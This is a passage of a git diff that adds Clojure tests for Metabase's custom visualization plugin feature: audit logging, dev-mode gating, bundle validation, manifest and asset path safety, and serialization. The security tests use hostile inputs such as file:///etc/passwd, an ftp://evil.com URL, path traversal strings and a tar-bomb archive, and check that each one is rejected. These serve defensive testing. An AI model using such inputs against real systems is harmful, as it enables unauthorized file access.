+ {:dev_bundle_url "http://localhost:5174"})
+ entry (mt/latest-audit-log-entry "custom-viz-plugin-create" (:id resp))]
+ (is (partial=
+ {:topic :custom-viz-plugin-create
+ :user_id (mt/user->id :crowberto)
+ :model "CustomVizPlugin"
+ :model_id (:id resp)}
+ entry))
+ (is (= "audit-dev-chart" (get-in entry [:details :identifier]))))))))))
+
+(deftest audit-log-delete-test
+ (mt/with-premium-features #{:custom-viz :audit-app}
+ (testing "deleting a plugin records a custom-viz-plugin-delete audit event"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "audit-delete-viz"
+ :display_name "Audit Delete Viz"
+ :status :active}]
+ (mt/user-http-request :crowberto :delete 204 (str "ee/custom-viz-plugin/" id))
+ (is (partial=
+ {:topic :custom-viz-plugin-delete
+ :user_id (mt/user->id :crowberto)
+ :model "CustomVizPlugin"
+ :model_id id
+ :details {:identifier "audit-delete-viz"
+ :display_name "Audit Delete Viz"
+ :status "active"}}
+ (mt/latest-audit-log-entry "custom-viz-plugin-delete" id)))))))
+
+(deftest audit-log-update-test
+ (mt/with-premium-features #{:custom-viz :audit-app}
+ (testing "updating a plugin records a custom-viz-plugin-update audit event with changed fields"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "audit-update-viz"
+ :display_name "Audit Update Viz"
+ :status :active
+ :enabled true}]
+ (mt/user-http-request :crowberto :put 200 (str "ee/custom-viz-plugin/" id)
+ {:enabled false})
+ (let [entry (mt/latest-audit-log-entry "custom-viz-plugin-update" id)]
+ (is (partial=
+ {:topic :custom-viz-plugin-update
+ :user_id (mt/user->id :crowberto)
+ :model "CustomVizPlugin"
+ :model_id id}
+ entry))
+ (is (= {:previous {:enabled true}
+ :new {:enabled false}}
+ (select-keys (:details entry) [:previous :new]))))))))
+
+(deftest audit-log-replace-bundle-test
+ (mt/with-premium-features #{:custom-viz :audit-app}
+ (testing "replacing a bundle records a custom-viz-plugin-update audit event"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "audit-replace-viz"
+ :display_name "audit-replace-viz"
+ :status :active
+ :bundle (.getBytes "old" "UTF-8")
+ :bundle_hash "old-sha"}]
+ (multipart-upload! :crowberto 200 (str "ee/custom-viz-plugin/" id "/bundle")
+ (cvp.tu/valid-bundle-bytes "audit-replace-viz")
+ :method :put)
+ (let [entry (mt/latest-audit-log-entry "custom-viz-plugin-update" id)]
+ (is (partial=
+ {:topic :custom-viz-plugin-update
+ :user_id (mt/user->id :crowberto)
+ :model "CustomVizPlugin"
+ :model_id id}
+ entry))
+ (is (= "old-sha" (get-in entry [:details :previous :bundle_hash]))
+ "old bundle_hash is recorded under :previous")
+ (is (not= "old-sha" (get-in entry [:details :new :bundle_hash]))
+ "new bundle_hash differs from the old one"))))))
+
+;;; ------------------------------------------------ Dev Mode Gating ------------------------------------------------
+
+(deftest dev-mode-gating-test
+ (mt/with-premium-features #{:custom-viz}
+ (testing "POST /dev returns 403 when dev mode is disabled"
+ (is (= "Custom visualization plugin dev mode is not enabled."
+ (mt/user-http-request :crowberto :post 403 "ee/custom-viz-plugin/dev"
+ {:dev_bundle_url "http://localhost:5174"}))))
+ (testing "PUT /:id/dev-url returns 403 when dev mode is disabled"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "dev-gate"
+ :display_name "dev-gate"
+ :status :active}]
+ (is (= "Custom visualization plugin dev mode is not enabled."
+ (mt/user-http-request :crowberto :put 403 (str "ee/custom-viz-plugin/" id "/dev-url")
+ {:dev_bundle_url "http://localhost:5174"})))))
+ (testing "GET /:id/dev-sse returns 403 when dev mode is disabled"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "dev-gate-sse"
+ :display_name "dev-gate-sse"
+ :status :active}]
+ (is (= "Custom visualization plugin dev mode is not enabled."
+ (mt/user-http-request :crowberto :get 403 (str "ee/custom-viz-plugin/" id "/dev-sse"))))))
+ (testing "dev endpoints work when dev mode is enabled"
+ (with-dev-mode-enabled
+ (mt/with-model-cleanup [:model/CustomVizPlugin]
+ (with-redefs [cache/fetch-dev-manifest (constantly {:name "gated-dev" :icon "icon.svg"})
+ cache/set-or-clear-dev-bundle! (constantly nil)]
+ (let [resp (mt/user-http-request :crowberto :post 200 "ee/custom-viz-plugin/dev"
+ {:dev_bundle_url "http://localhost:5174"})]
+ (is (= "gated-dev" (:identifier resp))))))))))
+
+(deftest list-excludes-dev-plugins-when-dev-mode-disabled-test
+ (mt/with-premium-features #{:custom-viz}
+ (mt/with-temp [:model/CustomVizPlugin _ {:identifier "upload-viz-list"
+ :display_name "Upload Viz"
+ :status :active
+ :enabled true
+ :bundle_hash "abc"}
+ :model/CustomVizPlugin _ {:identifier "dev-viz-list"
+ :display_name "Dev Viz"
+ :status :active
+ :enabled true
+ :dev_bundle_url "http://localhost:5174"}]
+ (testing "dev-only plugins are hidden from /list when dev mode is off"
+ (let [result (mt/user-http-request :rasta :get 200 "ee/custom-viz-plugin/list")
+ identifiers (set (map :identifier result))]
+ (is (contains? identifiers "upload-viz-list"))
+ (is (not (contains? identifiers "dev-viz-list")))))
+ (testing "dev-only plugins are visible in /list when dev mode is on"
+ (with-dev-mode-enabled
+ (let [result (mt/user-http-request :rasta :get 200 "ee/custom-viz-plugin/list")
+ identifiers (set (map :identifier result))]
+ (is (contains? identifiers "upload-viz-list"))
+ (is (contains? identifiers "dev-viz-list"))))))))
diff --git a/enterprise/backend/test/metabase_enterprise/custom_viz_plugin/cache_test.clj b/enterprise/backend/test/metabase_enterprise/custom_viz_plugin/cache_test.clj
new file mode 100644
index 00000000000..75c52914473
--- /dev/null
+++ b/enterprise/backend/test/metabase_enterprise/custom_viz_plugin/cache_test.clj
@@ -0,0 +1,228 @@
+(ns metabase-enterprise.custom-viz-plugin.cache-test
+ (:require
+ [clojure.test :refer :all]
+ [metabase-enterprise.custom-viz-plugin.cache :as cache]
+ [metabase-enterprise.custom-viz-plugin.settings :as custom-viz.settings]
+ [metabase-enterprise.custom-viz-plugin.test-util :as cvp.tu]
+ [metabase.config.core :as config]
+ [metabase.test :as mt]
+ [metabase.util.json :as json]
+ [toucan2.core :as t2]))
+
+(set! *warn-on-reflection* true)
+
+(use-fixtures :each
+ (fn [thunk]
+ (mt/with-temporary-setting-values [custom-viz-enabled true]
+ (thunk))))
+
+;;; ------------------------------------------------ validate-bundle! ------------------------------------------------
+
+(deftest validate-bundle-happy-path-test
+ (testing "validate-bundle! returns parsed manifest and a stable sha256"
+ (let [bytes (cvp.tu/valid-bundle-bytes "my-viz" {:icon "icon.svg"})
+ res (cache/validate-bundle! bytes)]
+ (is (= "my-viz" (get-in res [:manifest :name])))
+ (is (= "icon.svg" (get-in res [:manifest :icon])))
+ (is (bytes? (:bytes res)))
+ (is (string? (:hash res)))
+ (is (= 64 (count (:hash res))) "sha256 hex is 64 chars")
+ (testing "hash is deterministic"
+ (is (= (:hash res) (:hash (cache/validate-bundle! bytes))))))))
+
+(deftest validate-bundle-captures-version-test
+ (testing "metabase.version from the manifest is echoed as :version-str"
+ (with-redefs [config/mb-version-info {:tag "v1.60.0"}
+ config/is-dev? false]
+ (let [bytes (cvp.tu/valid-bundle-bytes "ver-viz" {:metabase-version ">=1.60"})
+ res (cache/validate-bundle! bytes)]
+ (is (= ">=1.60" (:version-str res)))))))
+
+(deftest validate-bundle-rejects-empty-test
+ (testing "empty bytes"
+ (is (thrown-with-msg? Exception #"empty"
+ (cache/validate-bundle! (byte-array 0))))))
+
+(deftest validate-bundle-rejects-non-archive-test
+ (testing "plain text is not a tar.gz archive"
+ (is (thrown-with-msg? Exception #"tar\.gz"
+ (cache/validate-bundle! (.getBytes "not an archive" "UTF-8"))))))
+
+(deftest validate-bundle-requires-manifest-test
+ (testing "archive without metabase-plugin.json is rejected"
+ (let [bytes (cvp.tu/make-tgz-bytes [["dist/index.js" "console.log('hi')"]])]
+ (is (thrown-with-msg? Exception #"metabase-plugin\.json"
+ (cache/validate-bundle! bytes))))))
+
+(deftest validate-bundle-requires-index-js-test
+ (testing "archive without dist/index.js is rejected"
+ (let [bytes (cvp.tu/make-tgz-bytes
+ [["metabase-plugin.json" (json/encode {:name "no-bundle"})]])]
+ (is (thrown-with-msg? Exception #"index\.js"
+ (cache/validate-bundle! bytes))))))
+
+(deftest validate-bundle-requires-manifest-name-test
+ (testing "manifest without :name is rejected"
+ (let [bytes (cvp.tu/make-tgz-bytes
+ [["metabase-plugin.json" (json/encode {:icon "icon.svg"})]
+ ["dist/index.js" "console.log('hi')"]])]
+ (is (thrown-with-msg? Exception #"\"name\""
+ (cache/validate-bundle! bytes))))))
+
+(deftest validate-bundle-rejects-invalid-json-manifest-test
+ (testing "non-JSON manifest is rejected"
+ (let [bytes (cvp.tu/make-tgz-bytes
+ [["metabase-plugin.json" "not json at all"]
+ ["dist/index.js" "console.log('hi')"]])]
+ (is (thrown-with-msg? Exception #"not valid JSON"
+ (cache/validate-bundle! bytes))))))
+
+(deftest validate-bundle-rejects-tar-bomb-test
+ (testing "SECURITY: validate-bundle! rejects archives that expand beyond the uncompressed cap"
+ ;; A megabyte of NUL compresses to a few hundred bytes. With a tight cap on
+ ;; uncompressed bytes the bomb is refused at extraction time.
+ (let [bomb-payload (byte-array (* 32 1024 1024))
+ bytes (cvp.tu/make-tgz-bytes
+ [["metabase-plugin.json" (json/encode {:name "bomb-viz"})]
+ ["dist/index.js" "console.log('hi')"]
+ ["dist/assets/big.bin" bomb-payload]])]
+ (is (thrown-with-msg? clojure.lang.ExceptionInfo
+ #"max uncompressed bytes"
+ (cache/validate-bundle! bytes))))))
+
+(deftest validate-bundle-rejects-incompatible-version-test
+ (testing "plugin requiring incompatible Metabase version is rejected"
+ (with-redefs [config/mb-version-info {:tag "v1.60.0"}
+ config/is-dev? false]
+ (let [bytes (cvp.tu/valid-bundle-bytes "bad-ver" {:metabase-version ">=1.99.0"})]
+ (is (thrown-with-msg? Exception #"version"
+ (cache/validate-bundle! bytes)))))))
+
+;;; ------------------------------------------------ dev-base-url URL validation ------------------------------------------------
+
+(deftest dev-base-url-test
+ (testing "accepts http URLs"
+ (is (= "http://localhost:5174/" (cache/dev-base-url "http://localhost:5174")))
+ (is (= "http://localhost:5174/" (cache/dev-base-url "http://localhost:5174/"))))
+ (testing "accepts https URLs"
+ (is (= "https://dev.example.com/" (cache/dev-base-url "https://dev.example.com"))))
+ (testing "SECURITY: rejects ftp:// URLs"
+ (is (thrown-with-msg? Exception #"http or https"
+ (cache/dev-base-url "ftp://evil.com/bundle"))))
+ (testing "SECURITY: rejects jar:// URLs"
+ (is (thrown-with-msg? Exception #"http or https"
+ (cache/dev-base-url "jar:file:///app.jar!/secret"))))
+ (testing "SECURITY: rejects URLs with no scheme"
+ (is (thrown? Exception
+ (cache/dev-base-url "localhost:5174"))))
+ (testing "SECURITY: rejects file:// URLs"
+ (is (thrown-with-msg? Exception #"http or https"
+ (cache/dev-base-url "file:///etc/passwd")))))
+
+(deftest set-or-clear-dev-bundle!-test
+ (mt/with-premium-features #{:custom-viz}
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "test-viz"
+ :display_name "test-viz"
+ :status :active}]
+ (testing "sets a valid http URL"
+ (cache/set-or-clear-dev-bundle! id "http://localhost:5174")
+ (is (= "http://localhost:5174"
+ (t2/select-one-fn :dev_bundle_url :model/CustomVizPlugin :id id))))
+ (testing "clears the URL with nil"
+ (cache/set-or-clear-dev-bundle! id nil)
+ (is (nil? (t2/select-one-fn :dev_bundle_url :model/CustomVizPlugin :id id))))
+ (testing "clears the URL with empty string"
+ (cache/set-or-clear-dev-bundle! id "http://localhost:5174")
+ (cache/set-or-clear-dev-bundle! id "")
+ (is (nil? (t2/select-one-fn :dev_bundle_url :model/CustomVizPlugin :id id))))
+ (testing "SECURITY: rejects file:// URLs"
+ (is (thrown-with-msg? Exception #"http or https"
+ (cache/set-or-clear-dev-bundle! id "file:///etc/passwd")))))))
+
+;;; ------------------------------------------------ Asset Whitelist ------------------------------------------------
+
+(deftest resolve-asset-whitelist-test
+ (testing "SECURITY: resolve-asset enforces manifest whitelist"
+ (mt/with-premium-features #{:custom-viz}
+ (let [manifest {:name "test-viz"
+ :icon "icon.svg"
+ :assets ["icon.svg" "thumb.png"]}]
+ (mt/with-temp [:model/CustomVizPlugin plugin {:identifier "test-viz"
+ :display_name "test-viz"
+ :status :active
+ :bundle_hash "abc123"
+ :manifest manifest}]
+ (testing "returns nil for assets not in manifest whitelist"
+ (is (nil? (cache/resolve-asset plugin "not-listed.png"))))
+ (testing "returns nil for path traversal attempts"
+ (is (nil? (cache/resolve-asset plugin "../../../etc/passwd"))))
+ (testing "returns nil for absolute path attempts"
+ (is (nil? (cache/resolve-asset plugin "/etc/passwd")))))))))
+
+;;; ------------------------------------------------ insert-bundle!/save-bundle! state consistency ------------------------------------------------
+
+(deftest insert-bundle-test
+ (testing "insert-bundle! creates an :active row with derived fields from the manifest"
+ (mt/with-premium-features #{:custom-viz}
+ (mt/with-model-cleanup [:model/CustomVizPlugin]
+ (let [validated (cache/validate-bundle! (cvp.tu/valid-bundle-bytes "new-viz" {:icon "icon.svg"}))
+ row (cache/insert-bundle! "new-viz" validated)]
+ (is (some? (:id row)))
+ (is (= :active (:status row)))
+ (is (= "new-viz" (:identifier row)))
+ (is (= "new-viz" (:display_name row)))
+ (is (= "icon.svg" (:icon row)))
+ (is (= (:hash validated) (:bundle_hash row))
+ "bundle_hash matches the validated sha256"))))))
+
+(deftest save-bundle-test
+ (testing "save-bundle! replaces an existing row's derived fields"
+ (mt/with-premium-features #{:custom-viz}
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "save-viz"
+ :display_name "old"
+ :status :error
+ :error_message "something"
+ :bundle (.getBytes "old" "UTF-8")
+ :bundle_hash "oldhash"}]
+ (let [validated (cache/validate-bundle! (cvp.tu/valid-bundle-bytes "save-viz" {:icon "new.svg"}))
+ row (cache/save-bundle! {:id id} validated)]
+ (is (= :active (:status row))
+ "plugin should be active after a successful save")
+ (is (nil? (:error_message row))
+ "error_message should be cleared")
+ (is (= "new.svg" (:icon row)))
+ (is (= (:hash validated) (:bundle_hash row)))
+ (is (not= "oldhash" (:bundle_hash row))))))))
+
+;;; ------------------------------------------------ integrity check on serve ------------------------------------------------
+
+(deftest get-bundle-rejects-mismatched-hash-test
+ (testing "SECURITY: get-bundle refuses to serve when stored bytes don't match bundle_hash"
+ (mt/with-premium-features #{:custom-viz}
+ (mt/with-temp [:model/CustomVizPlugin plugin {:identifier "tampered-viz"
+ :display_name "tampered-viz"
+ :status :active
+ :bundle (cvp.tu/valid-bundle-bytes "tampered-viz")
+ :bundle_hash "deadbeef"}]
+ (is (nil? (cache/get-bundle plugin))
+ "mismatch between bundle bytes and bundle_hash must not be served")))))
+
+;;; ------------------------------------------------ resolve-bundle precedence ------------------------------------------------
+
+(deftest resolve-bundle-dev-url-takes-precedence-test
+ (testing "resolve-bundle prefers dev URL over the uploaded bundle when both are present"
+ (mt/with-premium-features #{:custom-viz}
+ (with-redefs [custom-viz.settings/custom-viz-plugin-dev-mode-enabled (constantly true)]
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "precedence"
+ :display_name "precedence"
+ :status :active
+ :bundle_hash "abc123"
+ :dev_bundle_url "http://localhost:5174"}]
+ (let [dev-called? (atom false)
+ fs-called? (atom false)]
+ (with-redefs [cache/fetch-dev-bundle (fn [_] (reset! dev-called? true) {:content "dev-js" :hash "d1"})
+ cache/get-bundle (fn [_] (reset! fs-called? true) {:content "fs-js" :hash "g1"})]
+ (let [result (cache/resolve-bundle {:id id})]
+ (is (true? @dev-called?) "dev bundle fetch should be called")
+ (is (false? @fs-called?) "filesystem bundle should not be called when dev URL is set")
+ (is (= "dev-js" (:content result)))))))))))
diff --git a/enterprise/backend/test/metabase_enterprise/custom_viz_plugin/manifest_test.clj b/enterprise/backend/test/metabase_enterprise/custom_viz_plugin/manifest_test.clj
new file mode 100644
index 00000000000..3ed4e8452b0
--- /dev/null
+++ b/enterprise/backend/test/metabase_enterprise/custom_viz_plugin/manifest_test.clj
@@ -0,0 +1,115 @@
+(ns metabase-enterprise.custom-viz-plugin.manifest-test
+ (:require
+ [clojure.test :refer :all]
+ [metabase-enterprise.custom-viz-plugin.manifest :as manifest]
+ [metabase.config.core :as config]))
+
+(deftest parse-manifest-test
+ (testing "parses valid JSON"
+ (is (= {:name "test-viz" :icon "icon.svg"}
+ (manifest/parse-manifest "{\"name\": \"test-viz\", \"icon\": \"icon.svg\"}"))))
+ (testing "returns nil for invalid JSON"
+ (is (nil? (manifest/parse-manifest "not json"))))
+ (testing "returns nil for nil input"
+ (is (nil? (manifest/parse-manifest nil)))))
+
+;;; ------------------------------------------------ Version ------------------------------------------------
+
+(deftest compatible?-test
+ (testing "returns true when no version range is specified"
+ (is (true? (manifest/compatible? {})))
+ (is (true? (manifest/compatible? {:metabase_version nil})))
+ (is (true? (manifest/compatible? {:metabase_version ""}))))
+ (testing "returns true for a range the current version satisfies"
+ (with-redefs [config/is-dev? false
+ config/mb-version-info {:tag "v1.60.0"}]
+ (is (true? (manifest/compatible? {:metabase_version ">=1.59"})))))
+ (testing "returns false for a range the current version does not satisfy"
+ (with-redefs [config/is-dev? false
+ config/mb-version-info {:tag "v1.58.0"}]
+ (is (false? (manifest/compatible? {:metabase_version ">=1.59"})))))
+ (testing "SNAPSHOT pre-release versions satisfy ranges (pre-release is stripped)"
+ (with-redefs [config/is-dev? false
+ config/mb-version-info {:tag "v1.61.1-SNAPSHOT"}]
+ (is (true? (manifest/compatible? {:metabase_version ">=1.59"}))))
+ (with-redefs [config/is-dev? false
+ config/mb-version-info {:tag "v1.58.0-SNAPSHOT"}]
+ (is (false? (manifest/compatible? {:metabase_version ">=1.59"})))))
+ (testing "build metadata is stripped for version comparison"
+ (with-redefs [config/is-dev? false
+ config/mb-version-info {:tag "v1.60.0+build123"}]
+ (is (true? (manifest/compatible? {:metabase_version ">=1.59"})))))
+ (testing "returns true in dev mode regardless of version"
+ (with-redefs [config/is-dev? true]
+ (is (true? (manifest/compatible? {:metabase_version ">=1.99.0"})))))
+ (testing "returns false for invalid semver range"
+ (with-redefs [config/is-dev? false
+ config/mb-version-info {:tag "v1.60.0"}]
+ (is (false? (manifest/compatible? {:metabase_version "not-a-version"})))))
+ (testing "returns true when current version can't be coerced (e.g. vLOCAL_DEV in CI)"
+ (with-redefs [config/is-dev? false
+ config/mb-version-info {:tag "vLOCAL_DEV"}]
+ (is (true? (manifest/compatible? {:metabase_version ">=1.59"}))))))
+
+;;; ------------------------------------------------ Path Safety ------------------------------------------------
+
+(deftest safe-relative-path?-test
+ (testing "accepts simple filenames"
+ (is (true? (manifest/safe-relative-path? "icon.svg")))
+ (is (true? (manifest/safe-relative-path? "assets/icon.svg"))))
+ (testing "rejects directory traversal"
+ (is (false? (manifest/safe-relative-path? "../etc/passwd")))
+ (is (false? (manifest/safe-relative-path? "foo/../../etc/passwd")))
+ (is (false? (manifest/safe-relative-path? ".."))))
+ (testing "rejects absolute paths"
+ (is (false? (manifest/safe-relative-path? "/etc/passwd")))
+ (is (false? (manifest/safe-relative-path? "/tmp/file.js"))))
+ (testing "normalizes path before checking"
+ ;; foo/../bar normalizes to bar which is safe
+ (is (true? (manifest/safe-relative-path? "foo/../bar.svg")))
+ ;; but this resolves to ../secret
+ (is (false? (manifest/safe-relative-path? "foo/../../secret")))))
+
+;;; ------------------------------------------------ Asset Paths ------------------------------------------------
+
+(deftest asset-paths-test
+ (testing "filters to allowed extensions"
+ (is (= ["icon.svg" "thumb.png"]
+ (manifest/asset-paths {:assets ["icon.svg" "thumb.png" "malware.exe"]}))))
+ (testing "includes icon from manifest"
+ (is (some #{"icon.svg"} (manifest/asset-paths {:icon "icon.svg"}))))
+ (testing "allows JSON assets (for locale translations)"
+ (is (some #{"en.json"} (manifest/asset-paths {:assets ["en.json"]}))))
+ (testing "rejects non-image non-JSON assets"
+ (is (not (some #{"script.js"} (manifest/asset-paths {:assets ["script.js"]}))))
+ (is (not (some #{"data.csv"} (manifest/asset-paths {:assets ["data.csv"]})))))
+ (testing "rejects assets with path traversal"
+ (is (empty? (manifest/asset-paths {:assets ["../../../etc/passwd"]}))))
+ (testing "rejects absolute asset paths"
+ (is (empty? (manifest/asset-paths {:assets ["/etc/passwd"]}))))
+ (testing "rejects icon with traversal"
+ (is (not (some #{"../secret.svg"} (manifest/asset-paths {:icon "../secret.svg"})))))
+ (testing "deduplicates"
+ (is (= ["icon.svg"]
+ (manifest/asset-paths {:icon "icon.svg" :assets ["icon.svg"]}))))
+ (testing "icon is auto-included without being listed in assets"
+ (is (= #{"icon.svg" "thumbs-up.png" "thumbs-down.png"}
+ (set (manifest/asset-paths {:icon "icon.svg"
+ :assets ["thumbs-up.png" "thumbs-down.png"]}))))))
+
+;;; ------------------------------------------------ Content Type ------------------------------------------------
+
+(deftest asset-content-type-test
+ (testing "recognizes image types"
+ (is (= "image/svg+xml" (manifest/asset-content-type "icon.svg")))
+ (is (= "image/png" (manifest/asset-content-type "thumb.png")))
+ (is (= "image/jpeg" (manifest/asset-content-type "photo.jpg"))))
+ (testing "recognizes JSON"
+ (is (= "application/json" (manifest/asset-content-type "en.json"))))
+ (testing "returns nil for disallowed types"
+ (is (nil? (manifest/asset-content-type "script.js")))
+ (is (nil? (manifest/asset-content-type "style.css")))
+ (is (nil? (manifest/asset-content-type "data.csv"))))
+ (testing "returns nil for non-image MIME types"
+ ;; .html has MIME text/html — should be rejected
+ (is (nil? (manifest/asset-content-type "page.html")))))
diff --git a/enterprise/backend/test/metabase_enterprise/custom_viz_plugin/models/custom_viz_plugin_test.clj b/enterprise/backend/test/metabase_enterprise/custom_viz_plugin/models/custom_viz_plugin_test.clj
new file mode 100644
index 00000000000..46a9294e6a3
--- /dev/null
+++ b/enterprise/backend/test/metabase_enterprise/custom_viz_plugin/models/custom_viz_plugin_test.clj
@@ -0,0 +1,135 @@
+(ns metabase-enterprise.custom-viz-plugin.models.custom-viz-plugin-test
+ (:require
+ [clojure.test :refer :all]
+ [metabase.api.common :as api]
+ [metabase.models.interface :as mi]
+ [metabase.models.serialization :as serdes]
+ [metabase.test :as mt]
+ [metabase.util.json :as json]
+ [toucan2.core :as t2]))
+
+(set! *warn-on-reflection* true)
+
+(deftest table-name-test
+ (is (= :custom_viz_plugin (t2/table-name :model/CustomVizPlugin))))
+
+(deftest timestamped-test
+ (testing "CustomVizPlugin gets auto-populated timestamps"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "ts-test"
+ :display_name "ts-test"
+ :status :active}]
+ (let [plugin (t2/select-one :model/CustomVizPlugin :id id)]
+ (is (some? (:created_at plugin)))
+ (is (some? (:updated_at plugin)))))))
+
+(deftest permissions-test
+ (testing "read is available to any authenticated user"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "perm-test"
+ :display_name "perm-test"
+ :status :active}]
+ (let [plugin (t2/select-one :model/CustomVizPlugin :id id)]
+ (binding [api/*current-user-id* (mt/user->id :rasta)]
+ (is (true? (mi/can-read? plugin))))
+ (binding [api/*current-user-id* nil]
+ (is (false? (mi/can-read? plugin)))))))
+ (testing "write requires superuser"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "perm-test-2"
+ :display_name "perm-test-2"
+ :status :active}]
+ (let [plugin (t2/select-one :model/CustomVizPlugin :id id)]
+ (binding [api/*is-superuser?* true]
+ (is (true? (mi/can-write? plugin))))
+ (binding [api/*is-superuser?* false]
+ (is (false? (mi/can-write? plugin)))))))
+ (testing "create requires superuser"
+ (binding [api/*is-superuser?* true]
+ (is (true? (mi/can-create? :model/CustomVizPlugin {}))))
+ (binding [api/*is-superuser?* false]
+ (is (false? (mi/can-create? :model/CustomVizPlugin {}))))))
+
+(deftest to-json-strips-bundle-test
+ (testing "JSON serialization never includes the raw bundle bytes"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "json-test"
+ :display_name "json-test"
+ :status :active
+ :bundle (.getBytes "pretend-zip-bytes" "UTF-8")
+ :bundle_hash "feedface"}]
+ (let [plugin (t2/select-one :model/CustomVizPlugin :id id)
+ json-str (json/encode plugin)]
+ (is (not (re-find #"pretend-zip-bytes" json-str)))))))
+
+(deftest status-keyword-transform-test
+ (testing "status is stored as string and returned as keyword"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "status-test"
+ :display_name "status-test"
+ :status :active}]
+ (is (= :active (:status (t2/select-one :model/CustomVizPlugin :id id))))
+ (t2/update! :model/CustomVizPlugin id {:status :error})
+ (is (= :error (:status (t2/select-one :model/CustomVizPlugin :id id)))))))
+
+;;; ------------------------------------------------- Serialization --------------------------------------------------
+
+(deftest entity-id-test
+ (testing "entity-id is based on identifier"
+ (is (= "my-viz"
+ (serdes/entity-id "CustomVizPlugin" {:identifier "my-viz" :id 1})))))
+
+(deftest generate-path-test
+ (testing "generate-path uses identifier for both id and label"
+ (is (= [{:model "CustomVizPlugin" :id "my-viz" :label "my-viz"}]
+ (serdes/generate-path "CustomVizPlugin" {:identifier "my-viz"})))))
+
+(deftest storage-path-test
+ (testing "storage-path places under custom_viz_plugins directory"
+ (let [entity {:identifier "my-viz"
+ :serdes/meta [{:model "CustomVizPlugin" :id "my-viz" :label "my-viz"}]}]
+ (is (= [{:label "custom_viz_plugins"} {:label "my-viz"}]
+ (serdes/storage-path entity nil))))))
+
+(deftest hash-fields-test
+ (testing "hash-fields is [:identifier]"
+ (is (= [:identifier]
+ (serdes/hash-fields :model/CustomVizPlugin)))))
+
+(deftest load-find-local-test
+ (testing "load-find-local finds plugin by identifier"
+ (mt/with-temp [:model/CustomVizPlugin {id :id} {:identifier "find-local"
+ :display_name "find-local"
+ :status :active}]
+ (let [found (serdes/load-find-local [{:model "CustomVizPlugin" :id "find-local"}])]
+ (is (some? found))
+ (is (= id (:id found)))))))
+
+(deftest make-spec-test
+ (testing "make-spec copies identity fields and bundle_hash, skips dev/error state"
+ (let [spec (serdes/make-spec "CustomVizPlugin" {})]
+ (is (contains? (set (:copy spec)) :identifier))
+ (is (contains? (set (:copy spec)) :display_name))
+ (is (contains? (set (:copy spec)) :manifest))
+ (is (contains? (set (:copy spec)) :bundle_hash))
+ (is (contains? (set (:skip spec)) :dev_bundle_url))
+ (is (contains? (set (:skip spec)) :error_message))))
+ (testing "status is always exported as skip and imported as pending"
+ (let [spec (serdes/make-spec "CustomVizPlugin" {})
+ status-export (get-in spec [:transform :status :export])
+ status-import (get-in spec [:transform :status :import])]
+ (is (= ::serdes/skip (status-export :active)))
+ (is (= "pending" (status-import nil))))))
+
+(deftest bundle-b64-round-trip-test
+ (testing "bundle bytes base64-encode on export and decode back to bytes on import"
+ (let [spec (serdes/make-spec "CustomVizPlugin" {})
+ export (get-in spec [:transform :bundle :export])
+ import (get-in spec [:transform :bundle :import])
+ bytes (.getBytes "pretend tgz bytes" "UTF-8")
+ out (export bytes)]
+ (is (string? out))
+ (is (not= (String. bytes "UTF-8") out)
+ "exported value should be b64-encoded, not the raw string")
+ (is (= (seq bytes) (seq (import out))))))
+ (testing "nil bundle round-trips as nil"
+ (let [spec (serdes/make-spec "CustomVizPlugin" {})
+ export (get-in spec [:transform :bundle :export])
+ import (get-in spec [:transform :bundle :import])]
+ (is (nil? (export nil)))
+ (is (nil? (import nil))))))
diff --git a/enterprise/backend/test/metabase_enterprise/custom_viz_plugin/test_util.clj b/enterprise/backend/test/metabase_enterprise/custom_viz_plugin/test_util.clj
new file mode 100644
index 00000000000..b645c8e9c27
--- /dev/null
+++ b/enterprise/backend/test/metabase_enterprise/custom_viz_plugin/test_util.clj
@@ -0,0 +1,43 @@
+(ns metabase-enterprise.custom-viz-plugin.test-util
+ "Shared helpers for custom-viz-plugin tests: building in-memory tar+gzip
+ archives that match the format `validate-bundle!` expects."
+ (:require
+ [metabase.util.json :as json])
+ (:import
+ (java.io ByteArrayOutputStream)
+ (org.apache.commons.compress.archivers.tar TarArchiveEntry TarArchiveOutputStream)
+ (org.apache.commons.compress.compressors.gzip GzipCompressorOutputStream)))
+
+(set! *warn-on-reflection* true)
+
+(defn make-tgz-bytes
+ "Build a tar.gz archive in memory from a seq of `[name content]` pairs.
+ `content` may be a String or a byte array."
+ ^bytes [entries]
+ ;; The gzip/tar streams must be closed (not just finished) before the byte
+ ;; array is final — gzip only emits its trailer on close. Keep `baos` out
+ ;; of `with-open` so we can still read from it after the streams close.
+ (let [baos (ByteArrayOutputStream.)]
+ (with-open [gz (GzipCompressorOutputStream. baos)
+ tar (TarArchiveOutputStream. gz)]
+ (doseq [[name content] entries
+ :let [^bytes bs (if (bytes? content) content (.getBytes (str content) "UTF-8"))
+ entry (doto (TarArchiveEntry. ^String name)
+ (.setSize (alength bs)))]]
+ (.putArchiveEntry tar entry)
+ (.write tar bs 0 (alength bs))
+ (.closeArchiveEntry tar))
+ (.finish tar))
+ (.toByteArray baos)))
+
+(defn valid-bundle-bytes
+ "Build a minimal valid plugin tar.gz archive: manifest at the root with the
+ given `identifier` as `name`, a trivial `dist/index.js`, and optional
+ `:icon` / `:metabase-version` overrides merged into the manifest."
+ ^bytes [identifier & [{:keys [icon metabase-version]}]]
+ (let [manifest (cond-> {:name identifier}
+ icon (assoc :icon icon)
+ metabase-version (assoc-in [:metabase :version] metabase-version))]
+ (make-tgz-bytes
+ [["metabase-plugin.json" (json/encode manifest)]
+ ["dist/index.js" "console.log('hi')"]])))
diff --git a/enterprise/backend/test/metabase_enterprise/premium_features/settings_test.clj b/enterprise/backend/test/metabase_enterprise/premium_features/settings_test.clj
new file mode 100644
index 00000000000..95b736f1567
--- /dev/null
